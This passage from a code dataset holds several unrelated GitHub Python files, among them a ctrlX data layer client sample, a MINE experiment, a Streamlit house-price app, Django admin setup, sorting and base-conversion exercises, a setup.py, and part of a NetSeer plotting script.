Variant):\n \"\"\"create_async\n \"\"\"\n address = path + node\n # Remove node so that create will succeed\n result = self.client.remove_sync(address) # Ignore error\n\n self.waiting_for = \"create_async_callback\"\n logging.info(\"create_async() %s\", address)\n result = self.client.create_async(\n address, data, self.create_async_callback, 122)\n self.log_result(\"create_async()\", result)\n self.wait_for_async_callback(result)\n\n def create_sync(self, path, node, data: Variant):\n \"\"\"create_sync\n \"\"\"\n address = path + node\n # Remove node so that create will succeed\n result = self.client.remove_sync(address) # Ignore error\n\n logging.info(\"create_sync() %s\", address)\n result, dataReturned = self.client.create_sync(address, data)\n # !!! dataReturned is a reference on data (dataReturned==data)\n self.log_result(\"create_sync() \" + address, result)\n\n def create(self):\n \"\"\"create\n \"\"\"\n with Variant() as data:\n\n addressBase = root_node + \"/dynamic/_py/\"\n\n data.set_bool8(True)\n self.create_sync(addressBase, \"bool8\", data)\n self.create_async(addressBase, \"bool8\", data)\n\n data.set_int8(-127)\n self.create_sync(addressBase, \"int8\", data)\n\n data.set_uint8(255)\n self.create_sync(addressBase, \"uint8\", data)\n\n data.set_int16(32767)\n self.create_sync(addressBase, \"int16\", data)\n\n data.set_uint16(65535)\n self.create_sync(addressBase, \"uint16\", data)\n\n data.set_int32(2147483647)\n self.create_sync(addressBase, \"int32\", data)\n\n data.set_uint32(4294967294)\n self.create_sync(addressBase, \"uint32\", data)\n\n data.set_int64(9223372036854775807)\n self.create_sync(addressBase, \"int64\", data)\n\n data.set_uint64(9223372036854775807 * 2)\n self.create_sync(addressBase, \"uint64\", data)\n\n data.set_float32(0.123456789)\n self.create_sync(addressBase, \"float32\", data)\n\n data.set_float64(0.987654321)\n self.create_sync(addressBase, \"float64\", data)\n\n data.set_string(\"This is string\")\n self.create_sync(addressBase, \"string\", data)\n\n # Flatbuffers\n \"\"\"\n def set_flatbuffers(self, data: bytearray) -> Result:\n buf = (ctypes.c_byte * len(data)).from_buffer(data)\n c_data = ctypes.cast(buf, ctypes.POINTER(ctypes.c_byte))\n return Result(libcomm_datalayer.DLR_variantSetFlatbuffers(self.c_variant, c_data, len(data)))\n \"\"\"\n\n data.set_array_bool8([False, True, False])\n self.create_sync(addressBase, \"array-of-bool8\", data)\n\n data.set_array_int8([-127, -1, 0, 127])\n self.create_sync(addressBase, \"array-of-int8\", data)\n\n data.set_array_uint8([0, 127, 128, 255])\n self.create_sync(addressBase, \"array-of-uint8\", data)\n\n data.set_array_int16([-32767, -1, 0, 32767])\n self.create_sync(addressBase, \"array-of-int16\", data)\n\n data.set_array_uint16([0, 32767, 32768, 65535])\n self.create_sync(addressBase, \"array-of-uint16\", data)\n\n data.set_array_int32([-2147483647, -1, 0, 2147483647])\n self.create_sync(addressBase, \"array-of-int32\", data)\n\n data.set_array_uint32([0, 2147483647, 2147483648, 4294967295])\n self.create_sync(addressBase, \"array-of-uint32\", data)\n\n data.set_array_int64(\n [-9223372036854775807, -1, 0, 9223372036854775807])\n self.create_sync(addressBase, \"array-of-int64\", data)\n\n data.set_array_uint64(\n [0, 9223372036854775807, 9223372036854775808, 18446744073709551615])\n self.create_sync(addressBase, \"array-of-uint64\", data)\n\n data.set_array_float32([32.1, 32.2, 32.3, 32.4])\n self.create_sync(addressBase, \"array-of-float32\", data)\n\n data.set_array_float64([64.1, 64.2, 64.3, 64.4])\n self.create_sync(addressBase, \"array-of-float64\", data)\n\n data.set_array_string([\"Red\", \"Green\", \"Yellow\", \"Blue\"])\n self.create_sync(addressBase, \"array-of-string\", data)\n\n def remove_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"remove_async_callback\n \"\"\"\n self.waiting_for = None\n logging.info(\">>>create_async_callback(): %s %s\", result, userdata)\n\n def remove(self):\n \"\"\"remove\n \"\"\"\n with Variant() as data:\n\n addressBase = root_node + \"/dynamic/_py/\"\n addressNode = \"xxx\"\n address = addressBase + addressNode\n data.set_string(\"Will be removed synch\")\n self.client.create_sync(address, data)\n\n logging.info(\"remove_sync() %s\", address)\n result = self.client.remove_sync(address)\n self.log_result(\"remove_sync()\" + address, result)\n\n self.client.create_sync(address, data)\n\n logging.info(\"remove_async() %s\", address)\n self.waiting_for = \"remove_async_callback\"\n result = self.client.remove_async(\n address, self.remove_async_callback, 243)\n self.log_result(\"remove_async()\", result)\n self.wait_for_async_callback(result)\n\n def browse_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"browse_async_callback\n \"\"\"\n self.waiting_for = None\n logging.info(\">>>browse_async_callback: %s %s %s\",\n result, data.get_array_string(), userdata)\n\n def browse(self):\n \"\"\"browse\n \"\"\"\n logging.info(\"browse_sync() /\")\n result, data = self.client.browse_sync(\"\")\n with data:\n logging.info(\"browse_sync: %s %s\", result, data.get_array_string())\n\n logging.info(\"browse_async() /\")\n result = self.client.browse_async(\n \"\", self.browse_async_callback, 262)\n self.log_result(\"browse_async()\", result)\n self.wait_for_async_callback(result)\n\n def write_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"write_async_callback\n \"\"\"\n self.waiting_for = None\n self.log_result(\">>>write_async_callback:\", result)\n\n def write_sync(self, addressBase: str, node: str, data: Variant):\n \"\"\"write_sync\n \"\"\"\n address = addressBase + node\n logging.info(\"write_sync() %s\", address)\n result, _ = self.client.write_sync(address, data)\n self.log_result(\"write_sync()\", result)\n\n def write(self):\n \"\"\"write\n \"\"\"\n with Variant() as data:\n\n addressBase = root_node + \"/dynamic/\"\n\n address = addressBase + \"bool8\"\n data.set_bool8(True)\n self.waiting_for = \"write_async_callback\"\n logging.info(\"write_async() %s\", address)\n result = self.client.write_async(\n address, data, self.write_async_callback, 475)\n self.log_result(\"write_async()\", result)\n self.wait_for_async_callback(result)\n\n data.set_bool8(False)\n self.write_sync(addressBase, \"bool8\", data)\n\n data.set_float32(-0.123456789)\n self.write_sync(addressBase, \"float32\", data)\n\n data.set_float64(-0.987654321)\n self.write_sync(addressBase, \"float64\", data)\n\n data.set_int8(-127)\n self.write_sync(addressBase, \"int8\", data)\n\n data.set_int16(-32767)\n self.write_sync(addressBase, \"int16\", data)\n\n data.set_int32(0x80000001)\n self.write_sync(addressBase, \"int32\", data)\n\n data.set_int64(0x8000000000000001)\n self.write_sync(addressBase, \"int64\", data)\n\n data.set_string(\"Changed by python ctrlX Data Layer Client\")\n self.write_sync(addressBase, \"string\", data)\n\n def print_metadata(self, text: str, result: Result, data: Variant):\n \"\"\"print_metadata\n \"\"\"\n if result != Result.OK:\n logging.error(\"%s failed with %s\", text, result)\n return\n\n if data is None:\n logging.error(\"%s failed: data is None\", text)\n return\n\n logging.info(\"%s %s\", text, result)\n\n # Print Metadata (Flatbuffers)\n metadata = Metadata.Metadata.GetRootAsMetadata(\n data.get_flatbuffers(), 0)\n allowedoperations = metadata.Operations()\n print(\"metadata.NodeClass()\", metadata.NodeClass(),\n \" allowedOperations\",\n \"read=\", allowedoperations.Read(),\n \"write=\", allowedoperations.Write(),\n \"create=\", allowedoperations.Create(),\n \"delete=\", allowedoperations.Delete(),\n \"metadata.DisplayName()\", metadata.DisplayName(),\n \"metadata.DisplayFormat()\", metadata.DisplayFormat(), flush=True)\n\n def metadata_async_callback(self, result: Result, data: Variant, userdata: ctrlxdatalayer.clib.userData_c_void_p):\n \"\"\"metadata_async_callback\n \"\"\"\n self.waiting_for = None\n self.print_metadata(\">>>metadata_async_callback\", result, data)\n\n def metadata(self):\n \"\"\"metadata\n \"\"\"\n address = root_node + \"/dynamic/bool8\"\n self.waiting_for = \"metadata_async_callback\"\n logging.info(\"metadata_async() %s\", address)\n result = self.client.metadata_async(\n address, self.metadata_async_callback, 490)\n self.log_result(\"metadata_async()\", result)\n self.wait_for_async_callback(result)\n\n logging.info(\"metadata_sync() %s\", address)\n result, data = self.client.metadata_sync(address)\n with data:\n self.log_result(\"metadata_async()\", result)\n self.print_metadata(\"metadata_sync() \" + address, result, data)\n\n address = root_node + \"/static/bool8\"\n logging.info(\"metadata_sync() %s\", address)\n result, data = self.client.metadata_sync(address)\n with data:\n self.log_result(\"metadata_async()\", result)\n self.print_metadata(\"metadata_sync() \" + address, result, data)\n","repo_name":"boschrexroth/ctrlx-automation-sdk","sub_path":"samples-python/datalayer.client/app/call_datalayer_client.py","file_name":"call_datalayer_client.py","file_ext":"py","file_size_in_byte":19110,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"47"} +{"seq_id":"10000985372","text":"import torch\nfrom homura.optim import Adam\nfrom torch.distributions import MultivariateNormal\n\nfrom modules import KLMINE, FCStaticNet\n\n\ndef normalize(t: torch.Tensor):\n if args.normalize_input:\n return t / t.norm(dim=-1, keepdim=True)\n else:\n return t\n\n\ndef main():\n final_results = {}\n function = {\"x\": lambda x: x,\n \"2x\": lambda x: 2 * x,\n \"x^3\": lambda x: x ** 3,\n \"sin(x)\": lambda x: x.sin()}[args.function]\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n for rho in args.rho:\n rho = rho / 10\n final_results[rho] = []\n mine = KLMINE(FCStaticNet(2, 2), Adam())\n mine.to(device)\n gaussian = MultivariateNormal(torch.zeros(2, device=device), torch.eye(2, device=device))\n for ep in range(args.epochs):\n input = (torch.rand(args.batch_size, 2) * 2 - 1).to(device)\n target = function(input) + rho * gaussian.sample(torch.Size([args.batch_size]))\n mi = mine(normalize(input), normalize(target))\n if torch.isnan(mi):\n print(f\">>> {rho:2>}/{ep}, \")\n final_results[rho].append(mi.item())\n avg = torch.tensor(final_results[rho])[args.epochs // 100:].mean()\n print(f\"{rho:>5}={avg.item():.4f}\")\n\n\nif __name__ == '__main__':\n import miniargs\n\n p = miniargs.ArgumentParser()\n p.add_int(\"--epochs\", default=10_000)\n p.add_int(\"--batch_size\", default=512)\n p.add_multi_float(\"--rho\", default=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 9.9])\n p.add_str(\"--function\", choices=[\"x\", \"2x\", \"x^3\", \"sin(x)\"])\n p.add_true(\"--normalize_input\")\n\n args = p.parse()\n main()\n","repo_name":"moskomule/mine.pytorch","sub_path":"invariance.py","file_name":"invariance.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"37342637725","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport streamlit as st\nimport pydeck as pdk\n\nsns.set(font_scale=1)\nDATA_URL = \"./house_prices.csv\"\nDESC_URL = \"./description.csv\"\nGPS_URL = \"./gps_coordinates.csv\"\n\n\n@st.cache(persist=True)\ndef load_desc():\n return pd.read_csv(DESC_URL, header=None)\n\n\ndef load_gps_coordinates():\n return pd.read_csv(GPS_URL)\n\n\n@st.cache(persist=True)\ndef load_data(nrows):\n data = pd.read_csv(DATA_URL, nrows=nrows).drop('Id', axis=1)\n return data\n\n\n@st.cache(persist=True)\ndef find_max_corr(df, top_n=2):\n corr = df.corr()['SalePrice'][:].sort_values()\n # drop row with highest correlation, i.e. target value (SalePrice) itself\n corr.drop(corr.tail(1).index, inplace=True)\n top_n_indices = corr.abs().tail(top_n).index\n return top_n_indices\n\n\ndef draw_bar_plot(df):\n keywords = df.columns.tolist()\n keywords.remove(\"SalePrice\")\n independent_var = st.selectbox(\n 'View estimated price based on category:',\n keywords\n )\n fig, ax = plt.subplots()\n sns.barplot(x=independent_var, y=\"SalePrice\", data=df, ax=ax)\n ax.set_xticklabels(ax.get_xticklabels(), rotation=90)\n st.pyplot(fig)\n\n\ndef draw_box_plot(df):\n keywords = df.columns.tolist()\n keywords.remove(\"YearBuilt\")\n keywords.remove(\"SalePrice\")\n keywords = [\"SalePrice\"] + keywords # put sale price as the default option\n dependent_var = st.selectbox(\n 'View trending of:',\n keywords\n )\n\n min_year = df[\"YearBuilt\"].min()\n max_year = df[\"YearBuilt\"].max()\n values = st.slider('Select a range of years', int(min_year), int(max_year), (1960, 2010))\n\n df_sub = df[(df[\"YearBuilt\"] <= values[1]) & (df[\"YearBuilt\"] >= values[0])]\n fig, ax = plt.subplots()\n sns.boxplot(x='YearBuilt', y=dependent_var, data=df_sub, ax=ax)\n ax.set_xticklabels(ax.get_xticklabels(), rotation=90)\n st.pyplot(fig)\n\n\ndef draw_correlation_map(df):\n correlation = df.corr()\n fig, ax = plt.subplots()\n sns.heatmap(correlation, ax=ax, cmap=\"YlGnBu\", annot=True, fmt=\".2f\", square=True, annot_kws={\"size\":8})\n st.pyplot(fig)\n\n\ndef draw_map(df_gps, df):\n df_location = df[[\"Neighborhood\"]]\n df_location[\"lat\"] = df_location[\"Neighborhood\"].apply(lambda x: df_gps[df_gps[\"Location\"] == x][\"Lat\"].tolist()[0])\n df_location[\"lon\"] = df_location[\"Neighborhood\"].apply(lambda x: df_gps[df_gps[\"Location\"] == x][\"Lon\"].tolist()[0])\n df_location.drop(\"Neighborhood\", axis=1, inplace=True)\n st.pydeck_chart(pdk.Deck(\n map_style='mapbox://styles/mapbox/light-v9',\n initial_view_state=pdk.ViewState(\n latitude=42.026798,\n longitude=-93.620178,\n zoom=11,\n pitch=50,\n ),\n layers=[\n pdk.Layer(\n 'HexagonLayer',\n data=df_location,\n get_position='[lon, lat]',\n radius=200,\n elevation_scale=4,\n elevation_range=[0, 1000],\n pickable=True,\n extruded=True,\n ),\n pdk.Layer(\n 'ScatterplotLayer',\n data=df_location,\n get_position='[lon, lat]',\n get_color='[200, 30, 0, 160]',\n get_radius=200,\n ),\n ],\n ))\n\n\n# load data\ndf = load_data(None)\ndesc_df = load_desc()\n\n################################\n# Side bar #\n################################\nwith st.sidebar:\n st.header(\"Data Overview\")\n # Search box to find description of each field\n columns = df.columns.tolist()\n columns = columns[-1:] + columns[:-1]\n keyword = st.selectbox(\n 'Find more on:',\n columns\n )\n\n desc_df.columns = [\"keyword\", \"description\"]\n st.write(keyword, \":\", desc_df[desc_df[\"keyword\"] == keyword][\"description\"].tolist()[0])\n st.markdown(\"For more information on meaning of each categorical field, see \"\n \"[here](https://raw.githubusercontent.com/li-boxuan/house_price_visualization/main/categorical_info.txt)\")\n\n if keyword == \"SalePrice\":\n st.write(df[keyword])\n else:\n # show price together with the feature\n st.write(df[[keyword, \"SalePrice\"]])\n\n################################\n# Main Panel #\n################################\n\n# Introduction\nst.header(\"What affect a house price?\")\nst.markdown(\"Let us explore what the factors of the house price are, using 1500 data points collected in Ames, Iowa, \"\n \"available on [Kaggle](https://www.kaggle.com/c/house-prices-advanced-regression-techniques). See if this \"\n \"gives you any insight on estimating housing prices!\")\n\nnum_of_features = len(df.columns) - 1\ndf_numeric = df.select_dtypes(include=np.number)\nnum_of_numeric_features = len(df_numeric.columns) - 1\nnum_of_categorical_features = num_of_features - num_of_numeric_features\nst.markdown(\"Out of {} features, {} are numerical features and {} are categorical features.\".format(\n num_of_features, num_of_numeric_features, num_of_categorical_features))\n\n# Draw map\nst.subheader(\"Where are those houses located?\")\ndf_gps = load_gps_coordinates()\ndraw_map(df_gps, df)\n\n# Draw correlation heatmap\nst.subheader(\"How correlated are numerical values?\")\n\nnumeric_features = df_numeric.drop(\"SalePrice\", axis=1).columns\ntop_n = 10\noptions = st.multiselect(\n 'Select features to view correlations (default values: top ' + str(top_n) +\n ' features that are correlated to price)',\n numeric_features,\n find_max_corr(df_numeric, top_n).tolist()\n)\n\noptions.append(\"SalePrice\")\ndraw_correlation_map(df_numeric[options])\n\n# Draw boxplot by year\nst.subheader(\"How do houses change over the year (based on built date)?\")\ndraw_box_plot(df_numeric)\n\n# Draw categorical barplots\nst.subheader(\"What is the estimated sale price for each category?\")\ndf_categorical = df.select_dtypes(exclude=np.number)\ndf_categorical[\"SalePrice\"] = df[\"SalePrice\"]\ndraw_bar_plot(df_categorical)\n\n","repo_name":"li-boxuan/house_price_visualization","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14389849432","text":"from django.contrib import admin\nfrom adminsortable.admin import SortableAdmin\n\nfrom osler.utils import admin as admin_utils\nfrom osler.core import models\n\n\nfor model in [models.Language, models.Patient,\n models.Gender, models.ActionInstruction, models.Ethnicity,\n models.ReferralType, models.ReferralLocation,\n models.ContactMethod, models.DocumentType, models.Outcome, models.EncounterStatus]:\n admin_utils.simplehistory_aware_register(model)\n\nadmin.site.register(models.Document, admin_utils.NoteAdmin)\nadmin.site.register(models.ActionItem, admin_utils.ActionItemAdmin)\n\n\n@admin.register(models.Encounter)\nclass EncounterAdmin(SortableAdmin):\n\tlist_display = ('__str__', 'status')\n\tlist_filter = ('clinic_day','status')\n\t#made a custom so I could javascript fix the url idk why\n\tsortable_change_list_template = 'adminsortable/custom_change_list.html'\n","repo_name":"llemr-conspiracy/llemr","sub_path":"osler/core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"47"} +{"seq_id":"8138935095","text":"# Insertion Sort Implementation\n\ndef insertion_sort(arr, ascending=True):\n\tif len(arr) == 0:\n\t\traise AssertionError(\"Empty array found.\")\n\n\tif len(arr) == 1:\n\t\treturn arr\n\n\tfor i in range(1, len(arr)):\n\t\tkey = arr[i]\n\n\t\tj = i-1\n\n\t\tif ascending:\n\t\t\twhile j >= 0 and key < arr[j]:\n\t\t\t\tarr[j+1] = arr[j]\n\t\t\t\tj -= 1\n\t\telse:\n\t\t\twhile j >= 0 and key > arr[j]:\n\t\t\t\tarr[j+1] = arr[j]\n\t\t\t\tj -= 1\n\n\t\tarr[j+1] = key\n\n\treturn arr\n\n\nif __name__ == \"__main__\":\n\tarr = list(map(int, input().strip().split()))\n\tprint(\"Input array:\", arr)\n\tprint(\"Sorted array:\", insertion_sort(arr, ascending=True))\n","repo_name":"nityansuman/coding-python","sub_path":"algorithms/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37814662641","text":"#!python\n\nimport string\n# Hint: Use these string constants to encode/decode hexadecimal digits and more\n# string.digits is '0123456789'\n# string.hexdigits is '0123456789abcdefABCDEF'\n# string.ascii_lowercase is 'abcdefghijklmnopqrstuvwxyz'\n# string.ascii_uppercase is 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n# string.ascii_letters is ascii_lowercase + ascii_uppercase\n# string.printable is digits + ascii_letters + punctuation + whitespace\n\ndef decode(digits, base):\n \"\"\"Decode given digits in given base to number in base 10.\n digits: str -- string representation of number (in given base)\n base: int -- base of given number\n return: int -- integer representation of number (in base 10)\"\"\"\n # Handle up to base 36 [0-9a-z]\n assert 2 <= base <= 36, 'base is out of range: {}'.format(base)\n\n decoded_num = 0\n for i in range(len(digits)):\n decoded_num += pow(base, len(digits) - i - 1) * string.printable.index(digits[i].lower())\n return decoded_num\n\ndef encode(number, base):\n \"\"\"Encode given number in base 10 to digits in given base.\n number: int -- integer representation of number (in base 10)\n base: int -- base to convert to\n return: str -- string representation of number (in given base)\"\"\"\n # Handle up to base 36 [0-9a-z]\n assert 2 <= base <= 36, 'base is out of range: {}'.format(base)\n # Handle unsigned numbers only for now\n assert number >= 0, 'number is negative: {}'.format(number)\n\n max_value = 0\n digit_index = 0\n encoded_string = \"\"\n\n while max_value <= number:\n max_value = pow(base, digit_index)\n digit_index += 1\n digit_index -= 2\n\n for i in range(digit_index, -1, -1):\n expo = pow(base, i)\n if number - expo >= 0:\n remainder = expo % number\n\n if remainder < 1:\n num_times = 1\n else:\n num_times = int(number/expo)\n\n encoded_string += string.printable[num_times]\n number -= (expo * num_times)\n else:\n encoded_string += '0'\n return encoded_string\n\n\ndef convert(digits, base1, base2):\n \"\"\"Convert given digits in base1 to digits in base2.\n digits: str -- string representation of number (in base1)\n base1: int -- base of given number\n base2: int -- base to convert to\n return: str -- string representation of number (in base2)\"\"\"\n # Handle up to base 36 [0-9a-z]\n assert 2 <= base1 <= 36, 'base1 is out of range: {}'.format(base1)\n assert 2 <= base2 <= 36, 'base2 is out of range: {}'.format(base2)\n\n return encode(decode(digits, base1), base2)\n\n\ndef main():\n \"\"\"Read command-line arguments and convert given digits between bases.\"\"\"\n import sys\n args = sys.argv[1:] # Ignore script file name\n if len(args) == 3:\n digits = args[0]\n base1 = int(args[1])\n base2 = int(args[2])\n # Convert given digits between bases\n result = convert(digits, base1, base2)\n print('{} in base {} is {} in base {}'.format(digits, base1, result, base2))\n else:\n print('Usage: {} digits base1 base2'.format(sys.argv[0]))\n print('Converts digits from base1 to base2')\n\n print(decode('123456', 8))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Olyve/Core-Data-Structures","sub_path":"source/bases.py","file_name":"bases.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10973998662","text":"from math import e\r\n\r\na = int(input(\"ingrese 10, 100 o 1000: \"))\r\nn = 1\r\nc = 1\r\nsuma = 1\r\n\r\nwhile (n <= a):\r\n c = c * n \r\n s = 1 / c\r\n suma += s\r\n n += 1\r\n\r\nprint (suma)\r\nprint ( e)\r\n","repo_name":"togsus206/Computacion-Prof.-mate--Fmaf","sub_path":"compu2017/prom5.py","file_name":"prom5.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23552688972","text":"import setuptools\r\n\r\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\r\n long_description = fh.read()\r\n\r\nsetuptools.setup(\r\n name=\"HubLatest\",\r\n version=\"0.1.3\",\r\n author=\"Codex-in-Somnio\",\r\n author_email=\"yyy3752@gmail.com\",\r\n description=\"Script to automatically download latest release from \"\r\n \"GitHub repos\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/Codex-in-somnio/HubLatest\",\r\n license='MIT',\r\n classifiers=[\r\n \"Development Status :: 4 - Beta\",\r\n \"Environment :: Console\",\r\n \"Intended Audience :: System Administrators\",\r\n \"Programming Language :: Python :: 3 :: Only\",\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Operating System :: OS Independent\",\r\n \"Topic :: Software Development :: Version Control :: Git\"\r\n ],\r\n\r\n package_dir={\"\": \"src\"},\r\n packages=setuptools.find_packages(where=\"src\"),\r\n package_data={\"\": [\"locale/*/*/*.mo\"]},\r\n python_requires='>=3.6',\r\n entry_points={\r\n \"console_scripts\": [\r\n \"hublatest=hublatest.hublatest:main\",\r\n ]\r\n },\r\n install_requires=[\r\n \"tqdm\",\r\n \"requests\"\r\n ]\r\n)\r\n","repo_name":"Codex-in-somnio/HubLatest","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"42560799257","text":"from fancy.utils import cwd\n\nimport matplotlib as mpl\nimport os\nif os.environ.get('DISPLAY', '') == '':\n print('no display found. Using non-interactive Agg backend')\n mpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tempfile\nimport shutil\n\n\ndef set_rc_params():\n mpl.rcParams.update(mpl.rcParamsDefault)\n mpl.style.use(['science', 'ieee'])\n mpl.rcParams['xtick.labelsize'] = 8\n mpl.rcParams['ytick.labelsize'] = 8\n mpl.rcParams['legend.fontsize'] = 6\n mpl.rcParams['axes.labelsize'] = 8\n mpl.rcParams['figure.figsize'] = (3, 2)\n\n# not sure why I added this\n#mpl.rcParams['font.serif'] = 'Times New Roman'\n#mpl.rcParams['font.family'] = 'serif'\n#mpl.rcParams['text.usetex'] = True\n\n\nmpl.rcParams['axes.prop_cycle'] = (mpl.cycler(\n 'color', ['k', 'r', 'b', 'g', 'm']) + mpl.cycler('ls', ['-', '--', ':', '-.', '--']))\n\n# name; ports, bw, total_memory\nswitch_descriptions = {\n \"tofino1\": (64, 100, 36),\n \"tofino2\": (64, 200, 60),\n \"tofino3\": (64, 400, 96)\n}\n\n\"\"\"\nHow do we do the calculations\n\nIn the paper they say that for each packet they store at least the 5-tuple. That\nis 13 Bytes per packet. For an array of 1000 cells and a switch with 64 ports\nthey need:\n\n13 * 6 * 1000 = 823KB of memory. Which matches what they say in the paper of\n~800KB. Which can support a max delay of 62us (as our computations below show).\n\nNote: I do believe they need 15 bytes at least... they need to somehow save the\npacket ID in the ring otherwise how do they know its the wrong ID? Lets do both\ncalculations. \n\nFor 1000 packets are transferred at the following rates:\n\n1500B → 8.333M: 8.3K (1ms) → 8.3 packets 1 us\n\n750 → 16.666M: 16.6k (1ms) → 16.6 packets 1 us for example 62us (1000 packets) \n\n64 → 195M: 195k (1ms) → 195 packets 1 us\n\"\"\"\n\n###\n# Operational region net seer plot\n###\n\n# Traffic to latency operational plot\n\n\ndef max_rtt(buffer_size, bw=100000000000, pkt_size=1024):\n\n pkts_per_sec = bw / (8 * pkt_size)\n max_latency = buffer_size / pkts_per_sec\n return max_latency\n\n\ndef max_link_delay(buffer_size, bw=100000000000, pkt_size=1024):\n return max_rtt(buffer_size, bw, pkt_size) / 2\n\n\ndef get_max_bw(link_delay, buffer_size, bw_steps=10000, pkt_size=1024):\n bws = []\n for i in range(1, bw_steps + 1):\n # bandwidth in gbps\n bw = (100 * i) / bw_steps * 1000000000\n bws.append(bw)\n max_bw = 0\n for bw in bws:\n if link_delay < max_link_delay(buffer_size, bw, pkt_size):\n max_bw = bw\n\n return max_bw\n\n\ndef netseer_limits(link_delays, buffer_size=1000, avg_pkt_size=1024):\n netseer_bw_limits = []\n for link_delay in link_delays:\n bw = get_max_bw(link_delay, buffer_size=buffer_size,\n pkt_size=avg_pkt_size, bw_steps=1000)\n netseer_bw_limits.append((link_delay, bw))\n\n if link_delay == 100 / 1000000:\n print(bw)\n\n return netseer_bw_limits\n\n\ndef get_netseer_limits_basic_lines(buffer_size=1000, avg_pkt_size=1024):\n \"\"\"Gets the operational line of netseer up to 100gbps. \n\n Args:\n buffer_size (int, optional): _description_. Defaults to 1000.\n avg_pkt_size (int, optional): _description_. Defaults to 1024.\n \"\"\"\n\n link_delays = np.logspace(-6, -1, 1000) # from 1us to 100ms\n data_points = netseer_limits(link_delays, 1000, 1024)\n\n # divide bw to 100Gbps\n data_points = [(x, y / 1000000000) for (x, y) in data_points]\n\n x = [x[0] for x in data_points]\n y = [x[1] for x in data_points]\n\n return x, y\n\n\ndef save_netseer_limits_basic_lines(\n output_file, buffer_size=1000, avg_pkt_size=1024):\n \"\"\"Saves in csv the line so we can plot it. \n\n Args:\n output_file (str): output csv file\n buffer_size (int, optional): _description_. Defaults to 1000.\n avg_pkt_size (int, optional): _description_. Defaults to 1024.\n \"\"\"\n x, y = get_netseer_limits_basic_lines(buffer_size, avg_pkt_size)\n\n f = open(output_file, \"w\")\n f.write(\"x,y\\n\")\n for xx, yy in zip(x, y):\n f.write(\"{},{}\\n\".format(xx, yy))\n f.close()\n\n\ndef plot_netseer_limits_basic_lines(buffer_size=1000, avg_pkt_size=1024):\n \"\"\"Plots the operational region of netseer as delay increases, for a given\n fixed memory use and average packet level size. \n \"\"\"\n\n # set rc params\n set_rc_params()\n\n x, y = get_netseer_limits_basic_lines(buffer_size, avg_pkt_size)\n\n # return x,y\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n\n ax.set_xscale(\"log\")\n\n ax.plot(x, y)\n\n #d = scipy.zeros(len(y))\n #ax.fill_between(xs, ys, where=ys>=d, interpolate=True, color='blue')\n #ax.fill_between(xs, ys, where=ys<=d, interpolate=True, color='red')\n\n # ax.margins(0)\n\n plt.tight_layout()\n plt.show()\n\n\ndef plot_netseer_operational_latex(\n output_file, buffer_size=1000, avg_pkt_size=1024):\n \"\"\"Prints the operational netseer region using latex and pdflatex\n\n Args:\n output_file (_type_): _description_\n buffer_size (int, optional): _description_. Defaults to 1000.\n avg_pkt_size (int, optional): _description_. Defaults to 1024.\n\n Returns:\n _type_: _description_\n \"\"\"\n # latex standalone file\n doc = r\"\"\"\n\\documentclass{standalone}\n\\usepackage[english]{babel}\n\n% tikz\n\\usepackage{tikz}\n\\usepackage{pgfplots}\n\n\\usetikzlibrary{tikzmark, calc,shapes,arrows,decorations.markings}\n\\usepgfplotslibrary{fillbetween, groupplots, statistics}\n\n% colors\n\\usepackage{xcolor}\n\\definecolor{cLightRed}{HTML}{E74C3C}\n\\definecolor{cRed}{HTML}{C0392B}\n\\definecolor{cBlue}{HTML}{2980B9}\n\\definecolor{cLightBlue}{HTML}{3498DB}\n\\definecolor{cDarkBlue}{HTML}{10334A}\n\\definecolor{cGreen}{HTML}{27AE60}\n\\definecolor{cLightGreen}{HTML}{2ECC71}\n\\definecolor{cViolet}{HTML}{8E44AD}\n\\definecolor{cLightViolet}{HTML}{9B59B6}\n\\definecolor{cOrange}{HTML}{D35400}\n\\definecolor{cLightOrange}{HTML}{E67E22}\n\\definecolor{cYellow}{HTML}{F39C12}\n\\definecolor{cLightYellow}{HTML}{F1C40F}\n\n\\tikzset{cross/.style={cross out, draw, \n minimum size=2*(#1-\\pgflinewidth), \n inner sep=0pt, outer sep=0pt}}\n\n\\begin{document}\n\\begin{tikzpicture}\n \\begin{axis}[\n axis on top=true,\n xmode=log,\n xlabel={Link Latency},\n ylabel={Traffic (Gbps)},\n xmin=0.00001,\n ymin=0,\n xmax=0.1,\n ymax=105,\n axis y line=left,\n axis x line=bottom,\n xtick={0.00001, 0.0001, 0.001, 